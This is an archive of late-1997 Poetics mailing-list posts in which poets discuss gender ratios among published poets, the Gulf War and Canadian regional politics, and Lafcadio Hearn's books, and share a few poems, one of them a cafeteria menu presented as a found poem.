I hope you were smiling when you wrote that!

↑ Index

181. Marcella
address
Wed 10 Dec 1997

If anyone has an address for Will Alexander, could they backchannel it to the above e-mail? Thanks.

Also, tonight I found out that Gu Cheng, a wonderful Chinese poet whom I've been trying to track down since I saw him read about 5 years ago in Chinatown, NYC, committed suicide 3 years ago. His Selected Poems, published by Renditions Paperbacks, Hong Kong, is truly worth reading. I hope at least belatedly he will be read more widely.

↑ Index

182. David R. Israel
Re: Iroiro
Wed 10 Dec 1997

Alan M. S.,

maybe I missed something (I've not been entirely thorough in some of my Poetics readings) -- I did read (& in fact responded to) your Iroio post -- but did you mention explicitly (maybe not) that you're now in Japan? If so (& if you've not already covered this), won't you give us some further details / news / report? Like, will you be over there for a while? Where, more particularly, are you? etc. One imagines other poeticstasters wd. be likewise interested to know.

ohio,
d.i.

> *Well, I do want to apologize for an outburst occasioned by a bad outbreak of fugu (blowfish, yes - I know, I know ...) in my stomach, nettling me above and below the Poetics list...*
>
> *Meanwhile I do learn and think and shall continue another day.*
>
> *Alan*
>
> *(Fugu - "I was born between the taste of fugu and the fear of death." Fugu is a kind of fish eaten raw here - it can apparently kill you, if badly prepared.)*

↑ Index

183. Patricia Cockram
Re: invitation to women writers
Thu 11 Dec 1997

At 11:41 AM 12/10/97 +0000, you wrote:
>> They are. But until there is equity (real and perceived), under-represented
>> groups need to promote themselves exclusively. Besides, we are talking
here
>> about one special issue of a journal. Do we know what the editorial policy
>> is in general?
>> Patricia
>>
> I understand well the equity issue, both real and perceived. Its just
that women writers seem both more in evidence and taken seriously today. I
have no argument with special issues or even literary mags devoted
exclusively to one sex or another, race, etc. But see more equity in some
of the journals today than ten years ago. Personally, I think the quality
of men's writing has gone down as their political issues diminish...nothing
like a little war to get the machismo flowing, just as Bush.
>
>Jerry
>
Yes, that may well be. Certainly, there is nothing like passion of one sort
or another to get the music going.
Patricia

↑ Index

184. Patricia Cockram
Re: pantoum
Thu 11 Dec 1997

At 12:34 PM 12/10/97 -0500, Annie Finch wrote:
>Brent,
>
>It comes from Malaysia, and its English form is that lines 2 and 4 of each
>stanza are repeated as lines 1 and 3 of the following stanza.
>
<snip>

Also, the first 2 lines and the second 2 of each quatrain deal with different subjects of themes, so what you have is both thematic and structural interlacing.

Patricia

↑ Index

185. Mark Weiss
Re: invitation to women writers
Thu 11 Dec 1997

You raise an interesting question when you note that women on other lists that I assume represent more lucrative or powerful callings than poetry are more nearly equal to men in numbers (tho probably not in salaries). Even in our own field there are some questions to be asked. I've just finished sending out review copies for a couple of books. There was rough gender parity among the editors, with the three most important for the survival of a small press, Booklist, Library Journal and Publishers Weekly, all being women. In the for-profit publishing world there's no shortage of female editors, and the areas of real authorial power, self-help, cooking, and romance novels, are almost dominated by women. Women are also well-represented in fiction, which is only marginally profitable, except for titles picked up for the movies. Why, then, in this least powerful, least remunerated area of the literary world, are there fewer "female publishing and working poets?" It's possible that men insist upon a monopoly of the bottom, but there must be other factors.

At 08:52 PM 12/10/97 EST, you wrote:
>Parity's not the half of it: when I graduated from school, female poets far
>outnumbered male poets in my class (I think there were three graduating male
>poets to a dozen female, but I don't really remember). Now that I am
>beginning to teach, the ratio in poetry students is remaining the same: not
>even one in three of the students is male. With that sort of ratio, one

would
>expect female publishing and working poets to outnumber male.
>
>(I'm trying to get around the "but are students more likely to be female than
>poets" by adding "employed".)
>
>And look at this list! Women on my other lists (non-poetry related, even two
>highly technical) outnumber or at least come close to matching the number of
>men on the list.
>
>Catherine Daly
>[redacted]
>
>

↑ Index

186. Louis Cabri
yesterday's digest
Thu 11 Dec 1997

Truth Will Out

I have recently become interested in a style of recycling, yet
pantaloons or no pantaloons there's a mythomaniac pissing
in the washing machine. Why, anybody, that's important.
    Bold as love
    botcher for keeps
    off grassy
    green ground that I
    figure on,
depressed (pantalooned or not). Oh sure I come off when I
get wet too. This yarn winds fast into a pit of Whoppers and
I don't have the stomach not to take it. I have recently
interested a mythomaniac in a style of ground; wet or not
(yet pantalooned) there's a botcher figure in the writing
machine: is that important?

↑ Index

187. **David R. Israel**

Re: invitation to women writers

Thu 11 Dec 1997

Being curious about this statistical issue, I ordered up from the Listserv computer a fresh copy of the Poetics subscriber list (562 identified subscribers, plus 2 concealed, -- hailing from, btw, a total of 19 countries; 463 of the e-addresses are American).

I read thru the list, counting female names. My count is very approximate, since (for instance) I never learned the principles by which one can (within limits) determine the gender of a Japanese person based on the syllable-ending (and/or number of syllables) of the personal name; and with subscribers identified by initials in lieu of a first name, what to do? -- then there's the matter of double (or even triple) subscriptions in a few cases . . .

Okay, w/ such caveats & imperfections, anyway I counted up female names & by the end of the list had ticked off (only) 152. One could prob. call it more like 200 (even as much as 225 maybe?), given the imperfections of method -- but that still amounts to around 40% of the total subscribers. This doesn't seem an extreme male majority -- but then, it's not the 12 females to 3 males noted below, either.

I've not subscribed to other longstanding poetry lists such as the CAP-L, but wonder if the numbers there might be stronger on the female side?

A diehard statistician might count up ratios of posts, and might arrive at a figure similar to that of the subscribes (?), or perhaps even more male-heavy?

end of statistics / no conclusions,
d.i.

> *From: Mark Weiss <[redacted]>*
>
> *You raise an interesting question when you note that women on other lists that I assume represent more lucrative or powerful callings than poetry are more nearly equal to men in numbers (tho probably not in salaries). Even in our own field there are some questions to be asked. I've just finished sending out review copies for a couple of books. There was rough gender parity among the editors, with the three most important for the survival of a small press, Booklist, Library Journal and Publishers Weekly, all being women. In the for-profit publishing world there's no shortage of female editors, and the areas of real authorial power, self-help, cooking, and romance novels, are almost dominated by women. Women are also well-represented in fiction, which is only marginally profitable, except for titles picked up for the movies. Why, then, in this least powerful, least remunerated area of the literary world, are there fewer "female publishing and working poets?" It's possible that men*

> *insist upon a monopoly of the bottom, but there must be other factors.*
>
> *At 08:52 PM 12/10/97 EST, you wrote:*
> *Parity's not the half of it: when I graduated from school, female poets far outnumbered male poets in my class (I think there were three graduating male poets to a dozen female, but I don't really remember). Now that I am beginning to teach, the ratio in poetry students is remaining the same: not even one in three of the students is male. With that sort of ratio, one would expect female publishing and working poets to outnumber male.*
>
> *(I'm trying to get around the "but are students more likely to be female than poets" by adding "employed".)*
>
> *And look at this list! Women on my other lists (non-poetry related, even two highly technical) outnumber or at least come close to matching the number of men on the list.*
>
> *Catherine Daly*
> [redacted]

↑ Index

188. **David R. Israel**

Re: Iroiro

Thu 11 Dec 1997

Alan,

BTW, I trust you might in fact be familiar w/ Lafcadeo Hearn? If not, I'd say he's well worth checking out. Wonderful early 20th C. writer -- I think originally American (Greek origins?), but he lived much of his adult life in Japan, was a diehard japanophile, and wrote with much knowledge & appreciation of traditional culture. His books of ghost tales were especially loved in my teens -- as were his various essays & studies. I think the publisher Kodansha has (had?) much of his work in print (inexpensive yet beautifully designed & illustrated paperbacks -- in fact some of the most lovely books I've seen) --

On another note, if Dean Brink has citation for the piss/waterfall poem attributed to Gary Snyder, I'd be please to have it.

But where ironies grow thick, I don't know who's talkin' to me on the level. Things were a bit easier in Japanese lifetimes, when we could wax Sinocentric

(if so inclined), without being blasted out of the waterpond on that account. Ah well . . .

d.i.

```
 .
 .....
 ............
 \\\\
```

190. Jordan Davis
Re: Machismo Bush
Thu 11 Dec 1997

On Wed, 10 Dec 1997, Harold Rhenisch wrote:
>
> I'd be interested in hearing how the Gulf War was perceived in the U.S.A.

Well, I'll trade you for how the two recent union-busting strikes were perceived in Canada. Here the people I talked to thought the Gulf War was an opportunity for a weak president to consolidate political capital while protecting trade routes (ahem, read large cap) and mollifying a recklessly endangered ally (Israel, not Kuwait), endangered not by the conflict but by the propping up of the now-menacing puppet Hussein (viz Noriega etc etc). That 93% of the country thought that the US position was not only tenable but right and good (and that we must SUPPORT THE TROOPS) was seen as just more evidence that lefties like Sly Stallone shouldn't mess with the propaganda techniques (and personality styles) of fascism. Bush got creamed in the following election, Hussein remained in power, the sanctions imposed after the war were probably as gruesomely ill-advised as the reparations imposed at Versailles, and who knows, maybe there really is such a thing as Gulf-War Syndrome.

From here it looks like Canada's got some kind of mysterious right-wing anti-urban contingent (the guy who broke the teachers was, apparently, a lousy teacher) happily moving money out of the cities. The news from America is, this policy succeeds in destroying the poorest people, and in intensifying racism, classism, etc.

Eh?
Jordan

↑ Index

191. Christopher W. Alexander
My Little Pony, er Query
Thu 11 Dec 1997

does anyone on the list know
of currently available recordings
of The Four Horsemen? I've
been able to find the work as
featured in a few videos, but
can't find any full-length stuff.
(bootlegs and cassette-copies are
acceptable, so long as it's audible).

the EPC site makes no mention,
which, I take it, is a bad sign.

best, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

192. Jerry E. Fletcher

Re: Warning: contains distasteful poem.

Thu 11 Dec 1997

In message <[redacted]>, [redacted] wrote:
> Daily
> the botcher
> sweeps off
> the offal
> on the killing floor
> into a trough
> funneling
> into a pit
> from which it
> streams out
> by another trough
> into a runnel
> through a culvert
> onward
> a rivulet out
> to sea.
>
> Gary R.
>

Gary, the poem has nothing outstandingly gross in it, nor does it treat the topic in an exceedingly different way, to wit Carl Sandburg does it well and with belief that he has been on the slauhter house floor. Others treat the subject much more in style, including Adrienne Rich in one of her latter works in which she describes in full living color, network news style, a processing plant with safety exits nailed shut to keep workers from stealing product and the result of a fire

at the plant...gruesome just in description without ouze. Nice attemp, but no cigar.

↑ Index

193. Jerry E. Fletcher
Re: invitation to women writers
Thu 11 Dec 1997

In message <[redacted]>, Robin Morris <[redacted]> wrote:
> I think a distinction needs to be made between publishing works on a
> specific subject/by a specific authorship as a matter of achieving equity
> versus putting together a collection of works that have something in common.
> Such collections may not involve gender or or race or they may, but their
> usefulness and interest to readers can be more than a function of a desire
> to read those who would not otherwise be read.

I agree, anything that allows easier access to gender, race, understanding of nature,and provides insight helps. I especially like to read the poetry of women, each time I learn more about myself, as well as how women experience and view life. Sometimes, what I learn about myself scares me, or makes me work on synthesizing the newly learned with the old.
 I think people are awfully
> quick to feel excluded. I mean, if I didn't have any material on the
> subject of carburators (I'm not even sure I can spell them) I wouldn't feel
> excluded because someone was putting together a collection of poems about
> them and I couldn't contribute.
How about a piece on not understanding carbuerators, which, by the way are quickly becoming extinct as fule injection takes over. Anyone out there writing a lament for the big quad Holley's and Rochester's"
  Now, being a constructionist, you may argue
> that women ultimately have no particular perspective that should alter their
> take on nature or carberators and I may well agree with you (ultimately, if
> not at this moment).
I see a similar, but divergent view of men and women on nature. Men certainly express the seeing and the moment, women bring more spirit and soul, adding new dimension. For men, the exception may be Wendell Berry.

 But assembling such a work allows people to answer
> that question for themselves--one of its many uses. There have certainly
> been enough books on men and carberators or nature to act as points of
> comparison.

And, it gives the woman poet more freedom to address issues of being female from the body perspective as well as in the seeing.

>
>Jerry=

↑ Index

194. **Bob Grumman**
Re: invitation to women writers
Thu 11 Dec 1997

Regarding proportion of female to male poets in power and out, etc., here's a stat without comment: 36 people so far have sent in biographical surveys to my Comprepoetica poetry-data-gathering site; 29 males, 7 females.

--Bob G.

↑ Index

195. **groberts**
canned laughter
Thu 11 Dec 1997

Botcher, butcher, professions of the day;
Hot dog, Tofu, confessions on a tray.

Please feel free to dispose the pro-s and con-s of this couplet according to your taste.

↑ Index

196. **Harold Rhenisch**
Re: Machismo Bush
Thu 11 Dec 1997

Jordan,

Thanks for the Gulf War exegisis. Sounds much like what I've encountered up this way, except the percentages are completely different. You say 93% of the country thought that the US positon was right and good. Here, it was far below 50%. I remember someone had set up a collection box in my bank, to raise money to send boxes of apples to the troops, to cheer them up for Christmas. It was spurned and ridiculed, and the attempt to regenerate the support for the troops of WWII was found offensive by many.

Then you ask a tough question:

> *From here it looks like Canada's got some kind of mysterious right-wing anti-urban contingent (the guy who broke the teachers was, apparently, a lousy teacher) happily moving money out of the cities. The news from*

> *America is, this policy succeeds in destroying the poorest people, and in intensifying racism, classism, etc.*

There is a right wing thing, it succeeds in destroying the poorest people and intensifying racism, classism, etc., yes, yes, but it isn't mysterious, and I think it would be wrong to see it as an anti-urban contingent. The 'urban' is, however, a red-herring. It has to do more with cultural values, and perhaps, surprise, surprise, with power. Just to continue the urban/rural split a little farther, however: it has been said that Canada can be seen in two ways, either as a vast and beautiful space punctuated occasionally by cancerous growths called cities, which one must drive around and/or avoid at all costs, or a chain of a few vibrant cities, separated by uninhabitable and boring emptiness which must be driven through at the greatest speed possible. Geography and history determine politics in Canada. A very few cities, and a very small power-base within those cities, control the culture, the images, and the economy of the country. The result is that most regions of the country (but not the greater part of the population, as that is centralized) feel disenfranchized from power and the cultural trappings of power. The concentration of resources in urban regions has resulted in a crisis of faith: in British Columbia, many people wish that Vancouver would float out to sea so that they could finally have some say in their own affairs; Quebec wants to leave; and (to generalize dangerously) most everyone west of Ontario does not believe that the images and cultural icons of Canada fit their lives. The regions of Canada, some of them small, some of them large like Quebec, but all of them culturally distinct, feel (rightly, I think) colonized by cities, not because they are cities, but because power has been accumulating in cities as of late, positive change has been occuring in cities, while cultural loss and/or re-colonization has been occuring in the hinterland. The reaction is for the most part cynicism, and, in many areas, right-wing activities. The province of British Columbia, where I live, voted predominantly Reform (right wing) in the last federal election. This should not be read as a pure love of right wing politics (though there is that), but more as a complete distrust of central Canadian power, probably because people are tired of policies which do not fit their situations and do not take them into account. Many lifelong socialists voted Reform, for instance. That these feelings come out as a backlash against intellectual values should not be surprising: left alone, patronized, isolated, in communities disenfranchized from education and political discussion because the discussion and the education do not embrace their concerns, people grasp at straws and fall back on past 'certainties'. Some of this stuff is quite ugly and filled with hate. Frankly, the propaganda techniques of the Reform party and the right-wing press sound to my sensitized ears very much like the ardent, mocking Nazi press of the 1930's. Intellectuals are not innocents in this game of power, however, for in this dysfunctional system of centralization and marginalization they too have been unable to find a means of bridging the growing

power gap and in many cases of even seeing it. The right wing expression of this sense of isolation is not new, however. We hear a lot about it in Ontario these days, as the Ontario government seeks to dismantle the social democratic apparatus of the state. Little mention seems to be made, however, of the fact that 16 years ago British Columbia went though the same process of destructuring, with the same acrimony. It has led to increased centralized control. It is not a matter, however, of an attempt to remove money from cities: money has been accumulating in cities very nicely and will continue to do so. Recent developments, in which power in Ontario is being removed from cities, such as Toronto, and moved to the provincial government (in Toronto), are a different matter. Perhaps the force that has led to the accumulation of wealth and power in centralized areas has reached its finest expression by now cannibalizing the city which has been its purest tool. This has not happened in Vancouver yet, perhaps because Vancouver is cannibalizing itself and the province of B.C. quite nicely all on its own, in a game which the provincial government is losing.

Well, that's what it looks like from out here in the bush.

To anticipate a question: What does that have to do with poetics?

Lots.

hrold

↑ Index

197. **Judy Roitman**

Re: Machismo Bush

Thu 11 Dec 1997

> *On Wed, 10 Dec 1997, Harold Rhenisch wrote:*
>
> *I'd be interested in hearing how the Gulf War was perceived in the U.S.A.*

My heart was broken twice --- by the sheer fact of war, and by the enthusiasm of so many people (including my own son, 10 at the time, who was totally sucked in by propaganda, predisposed as he was by the conventions of cartoons and so-called action figures), even people whose other politics gave me hope they would know better.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----

http://titania.math.ukans.edu/faculty/roitman/

↑ Index

198. **Mark Weiss**
Re: invitation to women writers
Thu 11 Dec 1997

At 03:56 PM 12/11/97 GMT, you wrote:
>
>I see a similar, but divergent view of men and women on nature. Men certainly express the seeing and the moment, women bring more spirit and soul, adding new dimension. For men, the exception may be Wendell Berry.
>

Must be differences in the structure of the hippocampus that accounts for this. Or maybe in the visual cortex. Or maybe it's a matter of hormones. Or maybe it's learned behavior, and Wordsworth is different because after his mother's death he insisted on wearing a dress in her memory. Or maybe this just isn't remotely correct.

↑ Index

199. **r.drake**
Re: My Little Pony, er Query
Thu 11 Dec 1997

---

chris--

one ov the best sources fr bp etal is:

> damian lopes/afterwords literature
> Box 657 Station P Toronto M5S 2Y4 Canada
> http://www.interlog.com/~dal/after/

his online catalog lists the following:

Four Horsemen (Rafael Barreto-Rivera, Paul Dutton, Steve McCaffery, bpNichol). _2 Nights 4 Horsemen_.Toronto: Underwhich Editions, 1988. (Audiographics 37). sound poetry; 60 minute chrome cassette; recorded live in Toronto, October 1987; approximately 200 copies. 12.50

lbd

> *does anyone on the list know*
> *of currently available recordings*
> *of The Four Horsemen? I've*
> *been able to find the work as*

> *featured in a few videos, but*
> *can't find any full-length stuff.*
> *(bootlegs and cassette-copies are*
> *acceptable, so long as it's audible).*
> *the EPC site makes no mention,*
> *which, I take it, is a bad sign.*
>
> *best, Chris*
>
> *..*
>
> *Christopher W. Alexander etc. / nominative press collective*
>
> *email:* [redacted]
> *snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402*
> *press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/*

↑ Index

200. William Burmeister Prod

fOUnd POEm

Thu 11 Dec 1997

ON EXHIBITION -Little Italy Wrap - $3.50
MAIN EVENT

A. N.B. Beef Burgundy Stew
served over Wide Egg Noodles with a Roll - $3.95
B. Honey Mustard Chicken with Rice Pilaf and a Vegetable - $3.95
GRILL - Smoked Turkey Reuben Sand., Fries, Med. Ftn. Bev. - $3.95
SOUP -Chicken Rice
ARTFUL DELI - The Original Muffuletta w/ Salad & fruit - $3.65
TUESDAY
ON EXHIBITION -Grilled Chicken Caesar Salad w/ a Roll - $3.75
MAIN EVENT

A. N.B. Sesame Mustard Pork
with Roasted New Potatoes and a Veg. - $3.
95
B. Liver & Onions with Whipped Potatoes, Gravy and a Vegetable - $3.50
GRILL - Grilled Portabella Mushroom Sandwich
French Fries & Med. Ftn.
Beverage - $3.25
SOUP -Cream of Spinach
ARTFUL DELI - Pollo Panini with Salad & Fruit - $3.65
WEDNESDAY

ON EXHIBITION - Thai Shredded Pork Wrap
with Steamed White
Rice - $3.50

MAIN EVENT

A. N.B. Oven Fried Chicken with Baked Garlic Red Potatoes,
Vegetable
and a Roll - $3.95
B. Baked Meatloaf with Whipped Potatoes, Gravy, Veg. and a Roll - $3.75
GRILL - Cajun Grilled Chicken Sandwich
w/ Fries & Med Ftn.
Beverage - $3.95
SOUP -Beef Noodle
ARTFUL DELI - 3 Cheese Panini w/ Salad & fruit - $3.65

THURSDAY

ON EXHIBITION - Grilled Chicken Caesar Salad w/ a Roll - $3.75

MAIN EVENT

A. N.B. Oriental flank Steak with White Rice and Fresh Broccoli - $4.25
B. Baked Italian Lasagna, Garden Salad and a Garlic Roll - $3.95
GRILL -Cuban Sandwich w/ Fries & Med. Ftn. Beverage - $3.95
SOUP -Cream of Broccoli
ARTFUL DELI - Vegetable Wrap w/ Salad & fruit - $3.65

FRIDAY

CART STATION - Chicken Wings - $.28 per Ounce

MAIN EVENT

A. Rotisserie Chicken w/ roasted Potatoes, Vegetable and a Roll - $4.25
B. Deep Fried Breaded Cod with French Fries and Cole Slaw - $3.95
GRILL - Black Jack Burger w/ Fries & Med Ftn. Beverage - $3.50
SOUP - Manhattan Clam Chowder
ARTFUL DELI - Turkey Walnut Salad Sandwich
w/ Salad & Fruit
Garnish - $3.65

↑ Index

201. Harold Rhenisch

Re: invitation to women writers

Thu 11 Dec 1997

Reading the latest issue of "The Malahat Review": 18 women; 18 men. Books reviewed: 3 men; 2 women. Total: 20 women; 21 men.

Editorial: editor, male. Assistants: 2 female. Editorial Board: 3 female, 2 male. Advisory Board: 1 male 1 female. Total: 6 female: 4 male.

-- Harold Rhenisch

↑ Index

202. **Harold Rhenisch**
Re: invitation to women writers
Thu 11 Dec 1997

In response to:

> *I see a similar, but divergent view of men and women on nature. Men certainly express the seeing and the moment, women bring more spirit and soul, adding new dimension. For men, the exception may be Wendell Berry.*

Mark Weiss wrote:

>Must be differences in the structure of the hippocampus that accounts for
>this. Or maybe in the visual cortex. Or maybe it's a matter of hormones.
Or
>maybe it's learned behavior, and Wordsworth is different because after his
>mother's death he insisted on wearing a dress in her memory. Or maybe this
>just isn't remotely correct.

I vote for only remotely correct. What is meant by spirit and soul? Obviously not that there is no spirit and soul in seeing and the moment, but it sounds like it.

As for Berry, there are many other exceptions. For instance, shortly before he died last spring, Charles Lillard posed what was to be his final question to me: "Why have so damned many loggers in B.C. turned to writing poetry?" Sounds like spirit and soul. His own poetry was slammed by many feminists, for being blind to feminism. This was an unfortunate and gross mis-reading. Yes, women add new dimension. So do men. Balance would suggest that men are as distant from the female experience as women are from the male. This strikes me as a strong argument for balancing the representation of the sexes in the poetry world: communication, multiplicity, common ground. I don't think it will happen until the nature of the discussion and its forum change. This is just a guess. I would guess that many women are interested in poetics, but not in the kind of talk that goes on here. That is not a value judgment, by the way. I could be completely wrong.

But 'more spirit and soul'? My experience is that women often cast nature (itself a generalization) in a stronger, more immediate social context than do men, or, that men are dreamers, seeking to extend their social context (and those dreams can be dreams of forest pillage or of utility) and women are practical (and that practicality can be grounded in visions), with the caveat that we all are all over the map, but also that we all see 'beauty' and corollary dimensions

and react to it. Then again, this could just be an externalization of my own personal characteristics.

Still, men may be more visually-oriented, and may be more willing to place what they experience into the context of 'rational' structures, even to the detriment of the experience, whereas women may be more willing to place what they experience into the context of 'social' structures. That's not 'more spirit and soul'. That is different 'spirit and soul'. That is a series of terms which are often taken for granted, perhaps to our detriment.

Perhaps better: men and women share the same 'spirit' and 'soul', but it is filtered differently. Perhaps because we come to the words 'spirit' and 'soul' differently, perhaps because we come to (or leave) the experience differently (or maybe we don't).

regards,

--Harold Rhenisch
[redacted]

↑ Index

203. **Harold Rhenisch**
Re: Machismo Bush
Thu 11 Dec 1997

Judy,
how does your son feel about the Gulf War now that time has passed? Has the propaganda's effect waned?

best,

Harold

↑ Index

204. **Mark Baker**
Re: Machismo Bush
Thu 11 Dec 1997

> *To anticipate a question: What does that have to do with poetics?*

Here's what: it shows that poets in the Canadian bush listen to, and repeat, the same boring political analysis the CBC offers every night.

Homo Vancouver Anthropophagus,
Mark Baker

↑ Index

205. **David Israel**
Lafcadio Hearn
Thu 11 Dec 1997

Poetics denizens,

Having lately posted to Poetics in praise of Hearn, I found myself wistfully drawn to investigate what of his work is yet extant.

First to note, I'd erroneously deified his personal name (it's spelled Lafcadio, not ..cadeo);

second to note, I mentioned those charming paperbacks -- said volumes were in fact published by Charles E. Tottle (not, as I claimed, Kodansha, -- though Kodansha has also published some work by Hearn;

third to note, Amazon.com lists something like 50 Lafcadio titles -- a veritable trove for the curious.

Here (see below) are several books recalled fondly (from 20+ years ago) -- books I'd generally purchase in places like the bookstore at the Pacific Asian Museum (Pasadena), riding thither on three-speed (a callow teenager unwitting of how future PC scholiasts might look askance at this infarction in manners).

Truth is, evidently Hearn covered a good deal more literary ground than Japan; -- but if there was something reprehensible about his respectful and appreciative treatment of things Japanese, I'd be willing to entertain consideration of the late critique, to scrutinize information on his suggested erroneousness, or whatnot.

cheerio, what?
d.i.

[from Amazon.com -- first, a selction of familiar titles]:

Kwaidan: Stories and Studies of Strange Things (Tut Books) Lafcadio Hearn / Paperback / Published 1971

In Ghostly Japan
Lafcadio Hearn / Paperback / Published 1997

Exotics and Retrospectives
Lafcadio Hearn / Hardcover / Published 1984

Gleanings in Buddha-Fields; Studies of Hand and Soul in the Far East (Tut Books. L)
Lafcadio Hearn / Published 1971

Kokoro : Hints and Echoes of Japanese Inner Life
Lafcadio Hearn / Paperback / Published 1997

Japanese Fairy Tales
Lafcadio Hearn / Published 1979

Japanese Miscellany
Lafcadio Hearn / Published 1954

Kotto : Being Japanese Curios, With Sundry Cobwebs
Lafcadio Hearn / Published 1972

Shadowings (Tut Books)
Lafcadio Hearn / Published 1978

also to note (though mostly new to me) are these many volumes:

Buddhist Writings of Lafcadio Hearn
Lafcadio Hearn / Published 1977

Articles on Literature and Other Writings from the Cincinnati Enquirer 1873

Books and Habits from the Lectures of Lafcadio Hearn
Lafcadio Hearn / Hardcover / Published 1921

Essays in European and Oriental Literature
Lafcadio Hearn / Hardcover / Published 1923

Japan : An Attempt at Interpretation
Lafcadio Hearn / Hardcover / Published 1993

Lafcadio Hearn's Creole Cook Book
Lafcadio Hearn / Hardcover / Published 1990

Occidental Gleanings : Sketches and Essays (Essay Index Reprint Series) Lafcadio Hearn / Hardcover / Published 1925

Pre-Raphaelite, and Other Poets (Essay Index Reprint Series) Lafcadio Hearn / Hardcover / Published 1922

Some Chinese Ghosts
Lafcadio Hearn / Hardcover / Published 1972

Some Strange English Literary Figures of the Eighteenth and Nineteenth Centuries (Essay Index Reprint Series)
Lafcadio Hearn / Hardcover / Published 1927

Stray Leaves from Strange Literature and Fantastics and Other Fancies (Notable American Authors Series) Vol 2
Lafcadio Hearn / Hardcover / Published 1992

Talks to Writers (Essay Index Reprint)
Lafcadio Hearn / Hardcover / Published 1977

Two Years in the French West Indies
Lafcadio Hearn / Hardcover / Published 1983

Youma : The Story of a West Indian Slave
Lafcadio Hearn / Hardcover / Published 1990

Zone Therapy
Lafcadio Hearn / Paperback / Published 1994

Fantastics and Other Fancies
Lafcadio Hearn / Published 1976

Interpretations of Literature
Lafcadio Hearn / Published 1916

Lafcadio Hearn's Lectures on Tennyson
Lafcadio Hearn

Leaves from the Diary of an Impressionist Creole Sketches and Some Chinese Ghosts Vol 1
Lafcadio Hearn / Published 1940

Lectures on Shakespeare
Lafcadio Hearn

Letters
Lafcadio Hearn

Manuscripts
Lafcadio Hearn

Memoranda for the lectures at Tokyo Imperial University
Lafcadio Hearn

Poets and poems
Lafcadio Hearn

The Romance of the Milky Way, and Other Studies & Stories (Short Story Index Reprint Series)
Lafcadio Hearn

Some new letters and writings of Lafcadio Hearn
Lafcadio Hearn

Stray leaves from strange literature; stories reconstructed from the Anvari-Soheèili, Baitâal Pachâisâi, Mahabharata, Pantchatantra, Gulistan, Talmud, Kalewala, etc Lafcadio Hearn

The Voice of the Great Bell
Margaret Hodges, Lafcadio Hearn / Published 1989

;-)

↑ Index

206. **Layne Russell**
Re: Posting poems to the list
Thu 11 Dec 1997

CharSSmith wrote:
>
> In a message dated 97-12-10 18:46:22 EST, you write:
>
> << Perhaps poems posted to the list could be clearly marked POEM in the
> subject
> line so that no one reads them by accident. >>
>
> I hope you were smiling when you wrote that!

ha! I responded to this...did not write it (Randolf Healy did I belive).... pretty interesting wording, eh?! :)

Layne

↑ Index

207. **Alan Myouka Sondheim**
Re: Iroiro
Thu 11 Dec 1997

I did read Lafcadio Hearn a while ago, but felt that it was somehow off, but didn't know why... It did remind me of an "Orientalism" so to speak, although I may have misjudged, and it was so long ago...

His books are quite popular among the Japanese, and are available here as well.

Alan

↑ Index

208. **Mark Weiss**
Re: a modest proposal
Thu 11 Dec 1997

Individual men and women tend to imagine their opposite numbers in possession of traits that they lack themselves--a dream of completion thru union that's familiar enough. Of course, those alien traits can also become pretty scary, so the dream can become a nightmare if one isn't careful. Some people split the available character traits into genders--our masculine and femimine selves became cliches in the 60's. There never was a whole lot of accuracy in this. There

surely, in any society, are ranges of difference, even in innate characteristics. Men tend to be taller and faster than women, but I'm shorter and slower than most of the women I know. The learned emotional patterns also vary with circumstance within the same society. While it is certainly true that women in general have been given the short end, the degree and manner differ. As we age men lose testosterone and women gain it, which tends to lessen some of the physical and psychological differences, at least those that appear to be inherent. Maybe a way to be more precise in our political correctness than calculation by the appearance of genitals and secondary sexual characteristics would be to average the amount of estrogen and testosterone in the contributors to a magazine, say. If the average swings too far in the direction of estrogen, throw in a young male or an older woman. If it swings too far towards testosterone, throw in a young woman. A simple blood test would do it. To demonstrate fairness to the world at large blood analyses could be included in the contributor bios that often come at the end of an issue.

At 12:28 PM 12/11/97 -0700, you wrote:
>In response to:
>
>>I see a similar, but divergent view of men and women on nature. Men
>>certainly express the seeing and the moment, women bring more spirit and
>>soul, adding new dimension. For men, the exception may be Wendell Berry.
>
>Mark Weiss wrote:
>
>>Must be differences in the structure of the hippocampus that accounts for
>>this. Or maybe in the visual cortex. Or maybe it's a matter of hormones.
>Or
>>maybe it's learned behavior, and Wordsworth is different because after his
>>mother's death he insisted on wearing a dress in her memory. Or maybe this
>>just isn't remotely correct.
>
>I vote for only remotely correct. What is meant by spirit and soul?
>Obviously not that there is no spirit and soul in seeing and the moment,
>but it sounds like it.
>
>As for Berry, there are many other exceptions. For instance, shortly before
>he died last spring, Charles Lillard posed what was to be his final
>question to me: "Why have so damned many loggers in B.C. turned to writing
>poetry?" Sounds like spirit and soul. His own poetry was slammed by many
>feminists, for being blind to feminism. This was an unfortunate and gross
>mis-reading. Yes, women add new dimension. So do men. Balance would

suggest
>that men are as distant from the female experience as women are from the
>male. This strikes me as a strong argument for balancing the representation
>of the sexes in the poetry world: communication, multiplicity, common
>ground. I don't think it will happen until the nature of the discussion and
>its forum change. This is just a guess. I would guess that many women are
>interested in poetics, but not in the kind of talk that goes on here. That
>is not a value judgment, by the way. I could be completely wrong.
>
>But 'more spirit and soul'? My experience is that women often cast nature
>(itself a generalization) in a stronger, more immediate social context than
>do men, or, that men are dreamers, seeking to extend their social context
>(and those dreams can be dreams of forest pillage or of utility) and women
>are practical (and that practicality can be grounded in visions), with the
>caveat that we all are all over the map, but also that we all see 'beauty'
>and corollary dimensions and react to it. Then again, this could just be an
>externalization of my own personal characteristics.
>
>Still, men may be more visually-oriented, and may be more willing to place
>what they experience into the context of 'rational' structures, even to the
>detriment of the experience, whereas women may be more willing to place
>what they experience into the context of 'social' structures. That's not
>'more spirit and soul'. That is different 'spirit and soul'. That is a
>series of terms which are often taken for granted, perhaps to our
>detriment.
>
>Perhaps better: men and women share the same 'spirit' and 'soul', but it is
>filtered differently. Perhaps because we come to the words 'spirit' and
>'soul' differently, perhaps because we come to (or leave) the experience
>differently (or maybe we don't).
>
>regards,
>
>--Harold Rhenisch
>[redacted]
>
>

↑ Index

